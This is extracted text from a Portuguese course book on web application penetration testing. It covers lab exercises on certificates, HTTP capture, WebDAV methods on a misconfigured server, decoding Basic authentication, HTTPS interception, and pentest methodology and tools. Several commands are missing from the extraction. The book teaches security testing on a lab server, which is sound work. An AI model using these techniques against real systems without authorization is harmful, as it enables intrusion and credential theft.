1 Country Name (2 letter code) [GB]: - Ex.: br 1 State or Province Name (full name): - Ex.: sp 1 Locality Name (eg, city) [Newbury]: - Ex.: Campinas 1 Organization Name (eg, company) [My Company Ltd.]: - Ex.: RNP 1 Organizational Unit Name (eg, section) []: - Ex.: ESR 1 Common Name (eg, your name or your servers hostname) []: - Ex.: Fulano de Tal 1 Email Address []: - Ex.: fulano@esr.rnp.br
Teste de Invaso de Aplicaes Web
1 A challenge password []: - Ex.: senhadificil 1 An optional company name []: - Ex.: Outro
2. Exibindo a requisio de certificado
3. Emitindo o certificado
A requisio gerada deve ser encaminhada autoridade certificadora para emisso do certificado. Na prtica, tambm necessrio provar sua identidade, pessoalmente, por meio de documentos apropriados (se no fosse assim, como seria possvel atestar que a chave pblica pertence a fulano?). O software para uma pequena CA j est instalado nos computadores e, assim, poderemos ver como o certificado gerado a partir da requisio. O comando que pode ser executado para emitir o certificado :
openssl ca md sha1 in <arquivo de resquisio de certificado> out <arquivo que conter o certificado>
Os dados da solicitao so exibidos e o OpenSSL pergunta se se deseja assinar o certificado. Aps uma resposta positiva, um certificado ser emitido e armazenado no diretrio / etc/ssl/ca-esr-rnp/newcerts, com cpia no arquivo especificado pelo parmetro out.
4. Exibindo as informaes do certificado
De nada adianta receber um certificado digital e no verificar as assinaturas digitais na cadeia de certificados que levam AC raiz. Se esse importante passo no for realizado, continuamos sem poder atestar a autenticidade da chave pblica recebida. Verifique com o comando abaixo o certificado emitido, considerando que o certificado da AC raiz cacert.pem:
Para cifrar dados para uma pessoa ou verificar assinaturas que ela tenha gerado, necessrio extrair a chave pblica do certificado digital validado. O comando que realiza isso :
openssl x509 in <certificado digital> -pubkey noout > <arquivo que conter chave pblica>
Esta atividade tem o objetivo de ilustrar os protocolos HTTP e HTTPS, permitindo que o aluno compreenda diversos aspectos envolvidos em uma interao com uma aplicao web.
Requisio e resposta
O objetivo desta atividade ilustrar como so requisies e respostas HTTP, por meio da anlise dos pacotes de uma solicitao ao servidor web de exemplo. Os passos que devem ser executados esto descritos nos itens a seguir:
1. Inicie o Wireshark, presente no menu Aplicativos\Curso Ferramentas. Para conseguir capCaptulo 1 - Roteiro de Atividades
turar os pacotes, a aplicao deve ser executada em modo privilegiado e, por isso, uma senha ser solicitada. Digite esruser e clique em Ok.
29
2. Clique no primeiro cone da barra de ferramentas para listar as interfaces de rede dispon-
veis para captura. Na caixa de dilogo que aparece, clique em Options, na linha eth1. No campo Capture filter, digite tcp port http e clique em Start para iniciar a captura de pacotes.
3. Inicie o Firefox e digite na barra de endereos exemplo.esr.rnp.br. 4. Pare a captura de pacotes no Wireshark clicando no quarto boto da barra de ferramentas
pela linha contendo GET / HTTP/1.1 (linha 4), clique com o boto esquerdo e selecione Follow TCP Stream.
6. Uma janela ser exibida contendo a requisio GET inicial e a resposta fornecida pelo
servidor web. Observe os diversos cabealhos presentes e que o corpo da resposta contm um documento HTML.
7. Para finalizar, clique em Fechar e depois em Clear.
Mtodos
Nesta atividade sero explorados diversos outros mtodos HTTP, que no GET e POST, e ilustradas algumas vulnerabilidades que podem decorrer de um servidor mal configurado:
1. Inicie um terminal, clicando no cone presente na rea de trabalho. 2. Para verificar os mtodos suportados pelo servidor web, digite:
est habilitado, bem como mtodos perigosos como DELETE, COPY e MOVE. O WebDAV compreende um conjunto de comandos que podem ser utilizados para gerenciar arquivos em um servidor web de maneira colaborativa. Quando disponibilizado para o pblico externo, pode facilitar o comprometimento do servidor, ao permitir acesso ao sistema de arquivos.
4. Use o utilitrio cadaver para acessar as funcionalidades DAV do servidor:
cadaver http://exemplo.esr.rnp.br
5. Para listar os comandos disponveis, digite:
help
Teste de Invaso de Aplicaes Web
ls
7. Faa o upload do arquivo arq001.txt e liste o diretrio novamente:
put arq001.txt ls
30
8. O arquivo copiado pode ser removido por meio do comando delete do DAV, mas, como
exerccio, remova-o por meio de uma requisio HTTP, em uma nova janela de terminal:
no diretrio.
10. O mtodo HEAD equivalente ao GET, com a diferena de que o corpo da resposta no
fornecido. Vejamos:
Cdigos de estado
Nas atividades anteriores, o servidor retornou sempre o cdigo de estado 2XX, indicando que a requisio foi atendida com sucesso. Na presente tarefa, sero apresentadas situaes em que outros cdigos so fornecidos pelo servidor.
1. Em uma janela de terminal, digite os comandos abaixo, finalizando com Enter duas vezes:
Como no existe um mtodo BLA, o servidor retorna uma resposta com cdigo de estado 501 Method not implemented.
Autenticao Basic
A autenticao bsica do protocolo HTTP pode ser configurada para restringir acesso a reas sensveis do servidor web. Conforme visto, algumas desvantagens desse mtodo incluem a impossibilidade de travamento de conta e de encerramento de sesses ociosas. Siga o seguinte roteiro para essa atividade:
31
e Resposta.
2. Caso a mensagem Save capture file before starting a new capture? aparea, clique em
pela primeira linha contendo GET /basic HTTP/1.1 (linha 4), clique com o boto esquerdo e selecione Follow TCP Stream.
7. Observe que o servidor retornou uma resposta com cdigo 401, o que fez com que o nave-
gador exibisse a caixa de dilogo solicitando usurio e senha. Clique em Filter out this stream.
8. Procure pela nova requisio contendo GET e repita o processo do Passo 6. 9. Veja que o navegador adicionou o cabealho Authorization: Basic ZXNydXNlcjplc3J1c2Vy
requisio. A ltima parte corresponde ao usurio e senha em BASE64, que pode ser decodificada com o comando:
Autenticao Digest
A autenticao Digest do protocolo HTTP, assim como o modo Basic, pode ser configurada para restringir acesso a reas sensveis do servidor web e possui as desvantagens de no ser possvel travar contas, nem de encerrar sesses ociosas. A grande diferena que ela transmite o usurio e senha protegidos por mtodos no reversveis. Para estudar esse modo de autenticao, siga o seguinte roteiro:
1. Inicie nova captura no Wireshark, da mesma maneira que na atividade de Requisio
e Resposta.
2. Caso a mensagem Save capture file before starting a new capture? aparea, clique em
5. Fornea para usurio e senha o texto esruser. 6. Role a barra da janela de captura para exibir os primeiros pacotes capturados. Procure
pela primeira linha contendo GET /digest HTTP/1.1 (linha 4), clique com o boto esquerdo e selecione Follow TCP Stream.
7. Observe que o servidor retornou uma resposta com o cdigo 401, o que fez com que o
navegador exibisse a caixa de dilogo solicitando usurio e senha. Contudo, diferentemente do modo Basic, o cabealho WWW-Authenticate est definido como Digest e um nonce foi fornecido. Clique em Filter out this stream.
8. Procure pela nova requisio contendo GET e repita o processo do passo 6.
32
diversos parmetros. O elemento response demonstra o conhecimento da senha pelo usurio e resultado da aplicao de uma funo de hash criptogrfica concatenao de uma srie de informaes.
10. Para finalizar este exerccio, clique em Fechar e depois em Clear.
HTTPS
O protocolo HTTPS basicamente consiste no transporte de HTTP por um canal SSL/TLS. Se o servidor estiver bem configurado, o tnel atender os requisitos de confidencialidade, integridade, autenticidade da origem da mensagem e de entidades. Siga o seguinte roteiro para constatar isso:
1. Inicie nova captura no Wireshark, da mesma maneira que na atividade de Requisio e
pela linha contendo Client Hello (linha 4), que o incio da negociao TLS.
5. A primeira troca de dados acontece a partir da linha 12 (Application Data). Selecione-a e,
no painel central, selecione Secure Socket Layer. Role o painel inferior e observe que no h contedo legvel como parte da mensagem.
33
Bibliografia 1
1 BARKER, Elaine; BARKER, William; BURR, William; POLK, William e SMID, Miles.
Recommendation for key management part 2: Best practices for key management organization. NIST Special Publication 800-57, NIST, 2007b.
1 BERNERS-LEE, Tim; FIELDING, Roy T. e MASINTER, Larry. RFC 3986: Uniform Resource
Identifier (URI): Generic Syntax, 2005.
1 FIELDING, Roy T.; GETTYS, James; MOGUL, Jeffrey C.; NIELSEN, Henrik Frystyk; MASINTER,
Larry; LEACH, Paul J. e BERNERS-LEE, Tim. RFC 2616: Hypertext Transfer Protocol HTTP/1.1, 1999.
1 FRANKS, John; HALLAM-BAKER, Phillip M.; HOSTETLER, Jeffery L.; LAWRENCE, Scott D.;
LEACH, Paul J.; LUOTONEN, Ari e STEWART, Lawrence C. RFC 2617: HTTP Authentication: Basic and Digest Access Authentication, 1999.
1 KISSEL, Richard; STINE, Kevin; SCHOLL, Matthew; ROSSMAN, Hart; FAHLSING, Jim e
GULICK, Jessica. Security considerations in the system development life cycle. NIST Special Publication SP 800-64, National Institute of Standards and Technology, 2008.
1 LITCHFIELD, David. The Oracle Hackers Handbook Hacking and Defending Oracle. Wiley
Publishing, Inc., 2007.
1 MCGRAW, Gary. Software Security: Building Security In. Addison-Wesley Professional, 2006. 1 MENEZES, Alfred J.; VAN OORSCHOT, Paul. C. e VANSTONE, Scott. A. Handbook of Applied
Cryptography. CRC Press, 5th edition, 2001.
1 MEUCCI, Matteo et al. OWASP testing guide v3.0. OWASP, 2008. 1 ORACLE. Your First Cup: an Introduction to the Java EETM Platform. PartNo: 821177010.
Junho. Oracle, 2010.
1 PCI. Payment Card Industry (PCI) Data Security Standard Requirements and Security
Assessment Procedures v. 1.2.1. PCI Security Standards Council, 2009a.
1 PCI. Payment Card Industry (PCI) Payment Application Data Security Standard (PA-DSS)
version 1.2.1. PCI Security Standards Council, 2009b.
1 SEACORD, Robert C. Secure Coding in C and C++. Addison-Wesley Professional, 2005. 1 SHANNON, Claude. Communication Theory of Secrecy Systems, Bell Systems Technical
Journal, Vol. 28, p. 656-715, 1949.
1 SHKLAR, Leon e ROSEN, Richard. Web Application Architecture: Principles, Protocols and
Practices. 2. Edio. Wiley, 2009.
Teste de Invaso de Aplicaes Web
1 STUTTARD, Dafydd; PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
34
1 VAN DER STOCK, Andrew; CRUZ, Dinis; CHAPMAN, Jenelle; LOWERY, David; KEARY, Eoin;
MORANA, Marco M.; ROOK, David; WILLIAMS, Jeff e PREGO, Paulo. OWASP code review guide v1.1. OWASP, 2008.
1 WANG, Xiaoyun; YU, Hongbo. How to break MD5 and other hash functions. Eurocrypt 2005.
Springer-Verlag, 2005.
1 WIESMANN, Adrian; CURPHEY, Mark; VAN DER STOCK, Andrew e STIRBEI, Ray. A guide to
building secure web applications and web services. OWASP, 2005.
1 WYSOPAL, Chris; NELSON, Lucas; ZOVI, Dino Dai e DUSTIN, Elfriede. The Art of Software
Security Testing: Identifying Software Security Flaws. Symantec Press, 2006.
Captulo 1 - Bibliografia 1
35
36
2
Reconhecimento e mapeamento
objetivos
Apresentar uma metodologia de teste de invaso de aplicaes web e as principais ferramentas que podem ser utilizadas no processo, abordando, especialmente, as fases de reconhecimento e mapeamento.
conceitos
Tipos e metodologia de teste de invaso, proxy de interceptao, web spiders, fuzzers, varredores de portas e servios, varredores de vulnerabilidades, reconhecimento, mapeamento, controles no lado cliente.
Introduo
Teste de invaso, tambm chamado de teste de intruso, teste de penetrao ou pentest, um mtodo utilizado para verificar a segurana de um ambiente, plataforma ou sistema,
Varredura de vulnerabilidades Mtodo comumente automatizado para identificar vulnerabilidades em elementos e sistemas de rede. Cada um dos ativos pertencentes ao escopo da varredura testado contra uma srie de fraquezas conhecidas para a plataforma especfica.
por meio da simulao de ataques reais explorando as vulnerabilidades encontradas. Diferentemente de uma varredura de vulnerabilidades, que muitas vezes recorre ao simples uso de ferramentas automatizadas, pentest um processo cclico que depende principalmente do conhecimento tcnico do auditor de segurana que o realiza. Este fato acaba sendo ressaltado quando o teste realizado contra aplicaes web, devido s caractersticas nicas que cada uma delas apresenta, por serem normalmente desenvolvidas para uso em uma nica empresa ou entidade. Segundo Scarfone et al (2008), testes de invaso tambm so teis para medir: a habilidade da equipe de detectar e se defender contra ataques reais do ambiente alvo; o nvel necessrio de sofisticao de um atacante para comprometer o sistema; quo bem um sistema se riscos identificados. Alguns dos tipos de teste descritos no The Open Source Security Testing
Captulo 2 - Reconhecimento e mapeamento
comporta sob ataques, e as medidas adicionais que precisam ser adotadas para mitigar os Methodology Manual OSSTMM 3 (Herzog, 2010) visam, justamente, verificar os dois primeiros itens da lista acima, em vez da segurana do prprio alvo. Testes de penetrao podem ser classificados em alguns tipos, de acordo com a quantidade de informao que apresentada ao auditor de segurana:
OSSTMM Metodologia aberta para realizao de testes de segurana em ambientes, visando eliminar aspectos subjetivos da atividade, por meio da definio de processos reprodutveis e mtricas para avaliao dos resultados.
37
1 Teste caixa-cinza: este tipo de teste uma mistura dos dois anteriores, antecipando
ao auditor aquelas informaes do alvo que um atacante obteria, cedo ou tarde, em um processo de invaso real. Desse modo, o objetivo desta modalidade acelerar a execuo do teste, poupando o tempo gasto pelo auditor nos processos de reconhecimento e mapeamento. A metodologia OSSTMM (Herzog, 2010) tambm considera na classificao do teste se a equipe de segurana do ambiente alvo est consciente ou no da realizao do trabalho pelo auditor de segurana. Com a adio desta varivel, possvel enumerar mais trs tipos de testes, cujos focos passam a ser, total ou parcialmente, a capacidade de monitoramento e de resposta da entidade alvo:
amento e algumas tcnicas de descoberta de vulnerabilidades. Desse modo, o restante deste captulo inclui, alm da discusso de metodologia, ferramentas bsicas, como proxies de interceptao e varredores de portas, e tcnicas de explorao de controles no lado cliente da aplicao.
38
Conforme j mencionado, um teste de invaso um processo cclico que envolve a execuo de diversas atividades, como as ilustradas na Figura 2.1. Antes de prosseguir com o detalhamento de cada uma delas, porm, vale justificar, por meio de uma analogia, a necessidade da repetio de algumas das tarefas que compem um teste de invaso. Imagine-se uma pessoa que queira escalar uma montanha e apreciar a vista privilegiada do topo. Inicialmente, ela deve reconhecer e mapear pontos intermedirios que possam ser alcanados, limitando-se ao que possvel enxergar a partir da base. Em seguida, ela deve identificar caminhos que a conduzam aos lugares mapeados e percorr-los para atingi-los. Nesta nova posio, tem-se uma vista maior do horizonte e a pessoa capaz de vislumbrar novas regies para as quais se dirigir, repetindo as etapas anteriores. Note-se que, a cada iterao, ela se aproxima mais e mais do cume e consegue ver muito mais do que circunda a montanha. Haver vezes, porm, que a partir de certos lugares, no ser possvel progredir e ela ter de retornar um ou mais passos, para continuar. Tudo isso ocorre de maneira similar em um pentest!
Denio de escopo e autorizao
Documentao
Reconhecimento
Explorao de vulnerabilidades
Mapeamento
Identicao de vulnerabilidades
Figura 2.1 Etapas de um teste de invaso.
Apresentao de resultados
uma autorizao para execuo do teste e o escopo que ser coberto pela atividade. Normalmente, isso feito por meio de um contrato assinado entre as partes, que define, tambm, o tipo de teste que ser realizado, as premissas do trabalho (por exemplo, janelas tcnicas que sero disponibilizadas) e os insumos que devem ser fornecidos pelo contratante, nos casos de testes caixa-cinza ou caixa-branca. Para estes ltimos, comum solicitar, alm da documentao da aplicao, a criao de usurios com perfis comuns e a enumerao de um ou mais usurios privilegiados, para os testes de escalada de privilgios. Cabe ao cliente, por sua vez, definir se a equipe de segurana interna ser avisada ou no sobre o pentest. Outro ponto que deve ser considerado se os testes sero realizados internamente, externamente ou a partir de ambos os posicionamentos.
O primeiro passo, antes de iniciar qualquer teste de invaso, obter do cliente, por escrito,
39
No primeiro caso, a estao de teste deve ser colocada no mesmo segmento da rede em que ficam os usurios comuns da entidade, com o mesmo nvel de acesso lgico e fsico. J no teste externo, o auditor recebe um acesso equivalente ao de um usurio remoto ou ao de um possvel atacante, ou seja, todos os testes sero controlados por quaisquer mecanismos de proteo de permetro, como firewalls e WAFs. Eventualmente, as regras desses elementos podem ser suavizadas para os endereos IP de origem, de modo a no bloque-los e impedir o andamento dos testes. Um exemplo de caso em que necessrio realizar testes internos e externos o atendimento do requisito 11 do PCI DSS (PCI, 2009a). O trabalho propriamente dito comea com a fase de reconhecimento, cujo objetivo levantar qualquer tipo de informao que possa auxiliar no teste de invaso. Assim, nesta etapa, o auditor busca identificar, por exemplo, servidores que suportam a aplicao, sistemas operacionais instalados, linguagens de programao empregadas, nomes de potenciais usurios do sistema, regras de formao de identificadores de usurio, configuraes de softwares, conveno utilizada na atribuio de nomes de mquinas, dentre muitas outras informaes. Todo esse levantamento realizado de diversas maneiras, incluindo testes no prprio ambiente, testes indiretos e pesquisa em fontes de informao externas. O prximo passo, o de mapeamento, consiste em relacionar tudo que foi coletado na etapa anterior e criar um mapa da aplicao, que reflita a estruturao dos arquivos componentes, as funcionalidades ofertadas, os pontos de entrada de informao e as tecnologias utilizadas. Para isso, as informaes j coletadas devem ser complementadas com as pginas que compem o sistema, que podem ser obtidas por mtodos manuais ou automticos. Em caso de teste caixa-preta, na primeira iterao, comum que apenas algumas sees da aplicao sejam mapeadas, pois ainda no se tem acesso s reas protegidas, que requerem autenticao do usurio. Tais regies s podem ser alcanadas medida que o teste avana, vulnerabilidades identificadas so exploradas e acesso obtido. A partir do mapa construdo, deve-se proceder descoberta de vulnerabilidades, nas diversas camadas que compem a aplicao. Por exemplo, imagine-se que uma aplicao de correio eletrnico est sendo testada e as nicas pginas mapeadas, inicialmente, so a de autenticao de usurio e a de recuperao de senha. Alm disso, considere-se que na fase de reconhecimento, descobriu-se um diretrio conf acessvel via servidor web. No cenrio exposto, a presena das seguintes fraquezas, pelo menos, deve ser verificada:
WAF Web Application Firewall um dispositivo que atua na camada de aplicao com o objetivo de identificar e bloquear trfego malicioso direcionado a uma aplicao web. Por meio da definio de regras, capaz de oferecer proteo contra ataques conhecidos, como Injeo de SQL e XSS, por exemplo, alm de servir para aplicao de correes virtuais, para vulnerabilidades recmdescobertas e no previstas pelo sistema.
1 Existncia de arquivos interessantes no diretrio conf que possam conter, por exemplo,
identificadores de usurios vlidos;
1 Possibilidade de enumerao de usurios na tela de autenticao; 1 Perguntas fceis de serem respondidas na pgina de recuperao de senha; 1 Pginas de autenticao de usurio e de recuperao de senhas vulnerveis injeo de SQL; 1 Aceitao pela aplicao de identificadores de sesso fixados pelo usurio; 1 Presena de parmetros na requisio, que possam ser adulterados pelo auditor; 1 Pginas diretamente acessveis, sem a necessidade de autenticao.
O guia de testes do OWASP (Meucci et al., 2008), que base do presente texto, enumera verificaes para cerca de setenta vulnerabilidades, agrupadas nas seguintes classes, as quais sero cobertas ao longo deste curso:
40
Web service um componente de software descrito em WSDL que fornece um servio acessvel pela rede a outros servios e aplicaes. Asynchronous JavaScript and XML (AJAX) compreende um conjunto de tecnologias utilizadas com o objetivo de permitir a criao de aplicaes interativas, que buscam informaes no servidor de maneira assncrona, por meio de Javascript. Estas podem ser formatadas como documentos XML ou HTML, por exemplo, e utilizadas para atualizar dinamicamente a pgina com a qual o usurio est interagindo.
1 Validao de dados esta classe engloba os problemas decorrentes do uso de informaes fornecidas por usurios, sem as validaes necessrias, e pode acarretar desde o vazamento de informaes at o comprometimento de outros usurios do ambiente. Exemplo: informao usada diretamente na construo de uma consulta SQL, permitindo a injeo de comandos arbitrrios.
1 Negao de servio falhas que podem ser usadas para impedir o uso da aplicao,
normalmente, pela exausto de recursos. Exemplo: sistema que no verifica memria disponvel antes de realizar alocao dinmica.
1 Web services e AJAX de modo geral, so afetados por variaes das vulnerabilidades
tradicionais, com algumas peculiaridades de cada tecnologia. Exemplo: web service que no valida se a mensagem bem formada, antes de process-la. A ltima fase do ciclo compreende a explorao, quando possvel, das vulnerabilidades encontradas, de modo a violar requisitos implcitos ou explcitos de segurana da aplicao. importante notar que o processo no deve parar quando um ataque for bem-sucedido, pois, o objetivo do teste de invaso encontrar o mximo de caminhos possveis que possam levar a um comprometimento da aplicao, dos usurios ou do ambiente. Assim, tomando-se como
Captulo 2 - Reconhecimento e mapeamento
Sequestro de sesso Ataque que permite tomar o controle de uma sesso estabelecida entre o usurio e um sistema.
base o ltimo exemplo, mesmo que o analista execute com sucesso um sequestro de sesso, devido baixa entropia dos identificadores de sesso, ainda dever testar outros ataques, como evaso da pgina de autenticao e acesso direto a recursos do sistema. Claramente, aps executada a etapa de explorao, fundamental que o auditor de segurana tenha obtido um maior nvel de acesso ao sistema ou uma melhor compreenso dele, que permita abord-lo por outro ngulo.
41
De outro modo, no faz sentido iniciar uma nova rodada do ciclo, uma vez que nenhum avano foi conseguido com a ltima iterao. Caso isso acontea, a melhor estratgia revisar tudo que foi encontrado at o momento, para detectar possveis pontos que deixaram de ser explorados, antes de dar o teste por encerrado. Embora a identificao de vulnerabilidades e a explorao possam ser realizadas conjuntamente, e assim que esses tpicos sero abordados neste curso, recomenda-se, nos primeiros testes, execut-los separadamente. A razo disso evitar o excitamento natural que acomete uma pessoa frente a novas descobertas, que pode fazer com que o auditor foque somente o objetivo que considera o ideal e desconsidere diversos outros problemas existentes na aplicao. Paralelamente a todas as atividades descritas, est o processo de documentao, que se inicia com o contrato formal e permeia as quatro etapas do ciclo de teste de invaso. Tudo que for encontrado deve constar no relatrio que ser entregue como resultado do trabalho, incluindo aquelas vulnerabilidades que no puderam ser exploradas. Os ataques realizados devem ser descritos de modo a permitir a reproduo pelo cliente, se desejado, e, assim, devem conter o mximo de detalhes, como pr-condies, ferramentas utilizadas e mtodos empregados. Normalmente, inclui-se tambm uma recomendao geral indicando como o problema pode ser solucionado. Por fim, e no menos importante, encontra-se a apresentao de resultados, que deve ser ajustada de acordo com as caractersticas da audincia. Por exemplo, aceitvel incluir detalhes tcnicos de cada explorao para o corpo tcnico da empresa, mas no para membros da diretoria. Neste caso, normalmente, melhor focar nos impactos decorrentes dos ataques possveis, do que nos mtodos que devem ser empregados para aproveitar-se das vulnerabilidades presentes no ambiente. Complementarmente, uma anlise de risco quantitativa relacionada aos vetores de ataque muito bem-vinda.
Ferramentas bsicas
Para realizar qualquer teste de invaso, um conjunto mnimo de ferramentas deve
Teste de Invaso de Aplicaes Web
estar disponvel, independentemente de serem livres ou pagas. O ideal que o auditor prepare um notebook, com bom processador e bastante memria, instalando uma ou mais ferramentas de cada classe, com as quais se sinta vontade para trabalhar. De modo geral, possvel encontrar timas solues livres, que cobrem a maior parte das necessidades de um trabalho dessa natureza. Uma exceo a esta regra, talvez, sejam os varredores automticos de vulnerabilidades, cujos exemplares livres ainda esto aqum dos melhores produtos comerciais. Antes de sair comprando ferramentas carssimas, porm, considere-se que elas so capazes de encontrar apenas os problemas mais simples, que podem ser descritos em regras gerais, e que os itens de maior interesse ainda requerem o conhecimento e experincia do analista.
42
1 Navegadores web. 1 Proxies de interceptao. 1 Web spiders. 1 Fuzzers. 1 Varredores de portas e servios. 1 Varredores de vulnerabilidades. 1 Outras ferramentas.
Navegadores web
Os navegadores web so uma pea fundamental de um teste de invaso de aplicaes web, uma vez que so utilizados pelos usurios para os acessos normais aos sistemas. Cada representante deles apresenta particularidades no uso do protocolo HTTP e na maneira como documentos HTML so manipulados, ainda mais quando so utilizados elementos no padronizados. Isso faz com que alguns tipos de ataques no funcionem em todos os tipos de navegadores, e, portanto, uma boa prtica realizar os testes considerando mais de um fornecedor e verses diferentes do mesmo software.
Como atacantes, muitas vezes, querem afetar de uma s vez o maior nmero de aplicaes e usurios, razovel esperar que os ataques sejam direcionados s plataformas mais populares. Assim, interessante saber a fatia de mercado de cada navegador, para que os testes sejam direcionados para os mais utilizados apenas. H diversos estudos na internet sobre esse assunto (NetMarketShare, StatCounter, StatOwl), mas no h um consenso entre eles para os representantes com as menores porcentagens. Aplicando-se mdia aritmtica simples aos resultados, tem-se a seguinte classificao:
1 Microsoft Internet Explorer 56,36% 1 Mozilla Firefox 24,87% 1 Google Chrome 9,86% 1 Apple Safari 6,39% 1 Opera 1,52%
Vejamos a seguir as principais caractersticas dos navegadores mais populares:
Captulo 2 - Reconhecimento e mapeamento
os sistemas operacionais Windows. Suporta controles ActiveX nativamente, uma vez que esta uma tecnologia da mesma empresa. Dada a sua popularidade, praticamente, todo stio e aplicao web construdo para suport-lo e, assim, importante que seja utilizado em um teste de invaso, sobretudo quando ActiveX for empregado. Novas funcionalidades podem ser adicionadas por meio de extenses, como HttpWatch e TamperIE, que podem ser utilizadas para testar a segurana de aplicaes web.
1 Mozilla Firefox um rpido navegador, livre e multi-plataforma, mantido pela fundao Mozilla, ao lado de diversos outros projetos. Trabalha muito bem com a maioria dos stios web, mas no possui suporte nativo para controles ActiveX. Apresenta diversas funcionalidades de segurana, como bloqueio de pginas conhecidas por contedo malicioso, navegao privativa e integrao com software antivrus. Permite adicionar inmeras novas funcionalidades por meio de complementos, alguns dos quais podem
43
ser utilizados em testes de invaso. Exemplos interessantes incluem Multiproxy Switch, FoxyProxy, TamperData, HttpWatch e Add N Edit Cookies.
Proxies de interceptao
Os proxies de interceptao so uma das ferramentas mais utilizadas em testes de invaso de aplicaes web, permitindo inspecionar requisies e respostas HTTP e alter-las conforme desejado, em tempo real. Eles so executados localmente, na prpria estao em que roda o navegador web, e interceptam todo trfego dele baseado em HTTP/HTTPS, dissecando o contedo de cada pacote.
Para isso, o navegador deve ser configurado para direcionar o trfego para o proxy em uso, o que depende da verso de software utilizada. O esquema geral de funcionamento deste tipo de ferramenta e as interaes que ocorrem entre os diversos elementos esto ilustrados na Figura 2.2.
Estao local
Requisio Resposta Requisio Resposta
Navegador web
Proxy de interceptao
Servidor web
No caso do protocolo HTTPS, um proxy transparente atua como um encaminhador de pacotes TCP para o servidor destino, com o qual o navegador web estabelece o tnel SSL/TLS fim-a-fim. Se um proxy de interceptao funcionasse da mesma maneira, no seria possvel inspecionar o contedo da conversao, que o objetivo principal a ser alcanado por ele. Assim, o processo precisa ser alterado para que este requisito funcional seja atendido corretamente (Stuttard e Pinto, 2007). O primeiro passo o envio pelo navegador de uma requisio CONNECT ao proxy, que respondida com uma mensagem com cdigo de estado 200. A partir desse momento, o proxy simula o lado servidor do tnel SSL/TLS para o navegador e inicia, como um cliente,
Teste de Invaso de Aplicaes Web
uma segunda conexo SSL/TLS para o servidor destino original. Como as chaves criptogrficas utilizadas pelo proxy no so as verdadeiras, uma mensagem de erro exibida pelo navegador, que deve ser ignorada (vide Figura 2.3). Durante o restante da conexo, o proxy atua como um tradutor, recebendo os dados enviados pelo navegador, armazenando-os para inspeo e enviando-os ao servidor destino, por meio da segunda conexo. Este fluxo pode ser observado na Figura 2.4.
44
Figura 2.3 Erro do navegador devido a acesso HTTPS por meio do proxy.
Estao
Navegador Dados HTTP SSL / TLS TCP IP
Figura 2.4 Funcionamento de proxy de interceptao para conexes HTTPS.
Servidor web
Enlace/Fsico
Internet
Alm da funcionalidade bsica de interceptao, estas ferramentas fornecem diversas outras possibilidades, como a definio de filtros para seleo de mensagens, manuteno de histrico detalhado de requisies realizadas e respectivas respostas, substituio automtica de valores nas mensagens por meio de regras definidas pelo usurio, manipulao das interceptaes diretamente no navegador e revelao de campos escondidos, para visualizao direta no navegador (Stuttard e Pinto, 2007).
45
Os exemplares mais sofisticados dos proxies de interceptao fazem parte de sutes integradas de teste de aplicaes, dentre as quais pode-se citar:
1 Burp Suite uma plataforma integrada de testes, desenvolvida em Java pela empresa
PortSwigger Port Security, que pode ser empregada em todas as etapas de um teste de invaso. H uma verso gratuita, que possui somente os mdulos bsicos, e outra paga, que conta com muito mais recursos, como o Burp Scanner e o Burp Intruder, utilizados para varredura de vulnerabilidades e intruso de aplicaes, respectivamente. Existem alternativas mais simples a estas sutes que podem ser instaladas diretamente nos navegadores, na forma de extenses. Elas manipulam os dados antes de serem encapsulados para transporte pela rede e, assim, permitem operar com o protocolo HTTPS, sem a necessidade de estabelecer uma conexo com um proxy de interceptao. De maneira geral, permitem alterar apenas os dados de requisies, mas isso mais que suficiente para testar uma grande variedade de vulnerabilidades. O TamperIE e o TamperData so dois exemplos, j citados neste curso, desse tipo de utilitrio.
Web spiders
Estas ferramentas, tambm chamadas de web crawlers, so empregadas na fase de mapeamento e tm por objetivo montar automaticamente o mapa da aplicao, visitando cada pgina disponvel e realizando uma cpia local de cada recurso encontrado, para fins de anlise posterior. Esse processo realizado facilmente para stios web com contedo esttico, por meio de uma busca recursiva de recursos, com base nos links existentes, limitados ao domnio de interesse. Quando executadas para mapear aplicaes web, porm, devido natureza dinmica destas, diversas dificuldades surgem, que nem sempre podem ser resolvidas satisfatoriamente. O problema fundamental que a ferramenta precisa entender a semntica da pgina analisada, em vez de simplesmente procurar por referncias a outros recursos. Assim, ela deve ser capaz de: trabalhar com navegao baseada em formulrios, parmeTeste de Invaso de Aplicaes Web
tros ou menus gerados dinamicamente por cdigo Javascript; lidar com processos de autenticao e funcionalidades que demandam mltiplos passos para execuo; determinar o tipo de dado aceito em campos de entrada, para fornecer valores adequados; e, interpretar mensagens de erro que eventualmente sejam exibidas. Mesmo que os requisitos acima possam ser satisfeitos, muito arriscado executar um mapeamento totalmente automatizado e, assim, um mtodo hbrido deve ser utilizado, conforme ser visto posteriormente. Uma das razes para isso que, ao tentar mapear todas as funcionalidades, uma ferramenta assim pode executar aes indesejadas e perigosas, como remover um usurio, alterar as configuraes do sistema ou transferir fundos de uma conta
46
para outra. Alm das sutes de teste integradas j apresentadas, que tambm incluem web spiders, o utilitrio wget e a ferramenta webshag so outros exemplos que podem ser dados.
Fuzzers
Para identificar falhas no tratamento e validao de informaes, devem ser utilizados dados invlidos, que estejam fora dos domnios esperados pela aplicao. Por exemplo, para um campo que aceita o dia do ms, nmeros negativos ou maiores que 31 devem ser empregados. Em alguns casos, como no teste de cross-site scripting, um campo pode aceitar qualquer tipo de texto, mas os dados para teste devem respeitar uma sintaxe especfica, para que o ataque funcione. Cabe ao analista de segurana descrever o domnio de valores a ser testado em cada item de entrada, mas, normalmente, listas pr-definidas esto disponveis para os casos mais
comuns. Para evadir ou quebrar eventuais filtros que tenham sido implementados, diversas representaes de um mesmo dado devem ser submetidas pela ferramenta. Isso vlido tambm para ataques que visam explorar navegadores especficos ou a interao entre a aplicao e as plataformas subjacentes. Existem alguns fuzzers disponveis para uso, dentre os quais possvel citar o Spike, a plataforma Peach Fuzzing, o WebFuzzer e o mdulo do WebScarab criado com esse propsito.
preliminares do ambiente em testes de invaso caixa-preta e varreduras de vulnerabilidades. O princpio de funcionamento de um varredor de portas se baseia na suposio que o ativo implementa corretamente a camada de transporte da pilha de rede, de acordo com a RFC 793 (Postel, 1981). Se essa premissa no atendida, e isso ocorre algumas vezes, o processo pode gerar falsos positivos ou negativos. Tendo isso em mente, os principais mtodos de deteco so:
